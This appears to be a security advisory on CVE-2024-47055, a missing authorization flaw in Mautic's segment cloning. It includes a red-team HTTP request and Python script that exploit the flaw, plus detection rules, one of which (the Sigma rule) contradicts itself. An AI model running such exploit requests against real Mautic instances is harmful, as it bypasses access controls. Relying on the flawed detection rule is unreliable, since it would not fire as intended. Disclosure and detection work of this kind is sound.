CVE-2024-47055

Executive Summary

CVE-2024-47055 is a missing authorization vulnerability in Mautic, an open-source marketing automation platform. The flaw resides in the segment cloning functionality (cloneAction in ListController.php). Any authenticated user can clone segments without proper permission checks, bypassing intended access controls. This is an Insecure Direct Object Reference (IDOR) / Missing Authorization issue (CWE-862). The CVSS score is 4.3 (Medium), with low attack complexity and no user interaction required beyond authentication. No public exploit code or proof-of-concept is available, and the EPSS score is 0.0%, indicating low exploitation likelihood. The vendor has not released a specific patched version but advises updating to a version with proper authorization checks.

Supply Chain & Package Security

Mautic is a PHP-based application distributed via GitHub and Composer. This vulnerability affects the core application logic, not a third-party package. However, organizations using Mautic should verify their deployment source and ensure they are not using forked or modified versions that may lack security updates. The absence of a formal patch version increases supply chain risk, as users must manually apply code changes or wait for an official release.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low (unauthorized cloning of segments)
• Availability Impact: None

Threat Level: Medium. The vulnerability allows authenticated users to bypass authorization and clone segments, potentially leading to unauthorized data duplication or manipulation. However, it does not allow data exfiltration or system compromise.

Deep Dive & Mechanics

The vulnerability exists in the cloneAction method of ListController.php. This method is responsible for cloning an existing segment (list) in Mautic. The intended authorization check should verify that the authenticated user has the create permission for segments. However, due to missing or insufficient authorization checks, any authenticated user can invoke this action and clone any segment, regardless of their permissions.

Root Cause: The cloneAction method does not call the appropriate authorization check (e.g., $this->access->isGranted('lead:lists:create')) before performing the clone operation. This allows a user with only view or edit permissions to create new segments by cloning existing ones.

Attack Scenario:

1. An authenticated user with limited permissions (e.g., a marketing analyst who can view segments but not create them) logs into Mautic.
2. The user navigates to the segment management page and identifies a segment they want to clone.
3. The user sends a POST request to the clone endpoint (e.g., /s/segments/clone/{segmentId}) with the appropriate parameters.
4. The server processes the request without verifying the user's creation permissions, resulting in a new segment being created as a clone of the original.
5. The user now has unauthorized access to a cloned segment, potentially bypassing data access controls or creating duplicate records.

Vulnerable vs. Patched Code

Vulnerable Code (ListController.php):

public function cloneAction($objectId)
{
    $model = $this->getModel('lead.list');
    $entity = $model->getEntity($objectId);
    // Missing authorization check
    // $this->access->isGranted('lead:lists:create') should be here
    $clone = clone $entity;
    $model->saveEntity($clone);
    // ...
}

Patched Code (ListController.php):

public function cloneAction($objectId)
{
    $model = $this->getModel('lead.list');
    $entity = $model->getEntity($objectId);
    // Added authorization check
    if (!$this->access->isGranted('lead:lists:create')) {
        throw new AccessDeniedException('You do not have permission to create segments.');
    }
    $clone = clone $entity;
    $model->saveEntity($clone);
    // ...
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Mautic instance (version with the vulnerability).
• Valid authenticated user session with limited permissions (e.g., no create permission for segments).

Exploitation Steps:

1. Log in to Mautic as a user with limited permissions.
2. Identify a segment ID to clone (e.g., via the segment list page).
3. Send a POST request to the clone endpoint:

   POST /s/segments/clone/1 HTTP/1.1
   Host: target-mautic.com
   Cookie: PHPSESSID=your_session_id
   Content-Type: application/x-www-form-urlencoded
   

4. Verify the new segment is created by checking the segment list.

Automated Script (Python):

import requests

target = "http://target-mautic.com"
session = requests.Session()
# Assume session is authenticated
segment_id = 1
url = f"{target}/s/segments/clone/{segment_id}"
response = session.post(url)
if response.status_code == 200:
    print("Segment cloned successfully")
else:
    print("Failed to clone segment")

Blue Team

Detection:

• Monitor for POST requests to /s/segments/clone/* from users who do not have create permissions.
• Log and alert on any successful clone operations by users with low privilege levels.

Hunting:

• Search for cloneAction calls in application logs.
• Correlate user permissions with clone actions to identify anomalies.

Mitigation:

• Apply the patch as described in the Vulnerable vs. Patched Code section.
• Implement additional logging for authorization failures.

Indicators of Compromise (IOCs)

• Network: POST requests to /s/segments/clone/{id} from unexpected users.
• Logs: Application logs showing cloneAction executed by users without lead:lists:create permission.
• Database: Unexpected duplicate segment entries in the leads_lists table.

Detection Engineering

YARA Rule

rule CVE_2024_47055_Mautic_Clone_Action
{
    meta:
        description = "Detects missing authorization in Mautic cloneAction"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-47055"
    strings:
        $func = "cloneAction"
        $check = "isGranted"
        $perm = "lead:lists:create"
    condition:
        $func and not ($check and $perm)
}

Sigma Rule

title: Mautic Segment Clone Without Authorization
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects unauthorized segment clone attempts in Mautic
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: mautic
detection:
    selection:
        EventID: "cloneAction"
        UserPermission: "lead:lists:create"
    condition: selection and not UserPermission
falsepositives:
    - Legitimate clone operations by authorized users
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-47055 Mautic Segment Clone Attempt"; flow:to_server; content:"POST"; http_method; content:"/s/segments/clone/"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply the code patch to ListController.php as shown in the Vulnerable vs. Patched Code section.
2. Review user permissions and ensure only trusted users have create access to segments.
3. Enable detailed logging for all segment clone operations.

Long-term Measures:

• Update Mautic to the latest version once a formal patch is released.
• Implement regular security audits of custom code and third-party plugins.
• Use a Web Application Firewall (WAF) to block unauthorized clone requests.

Workaround:

• Temporarily disable the clone functionality by removing or commenting out the cloneAction method in ListController.php until a patch is applied.

Valters IT
DevSecOps & Cyber Threat Intelligence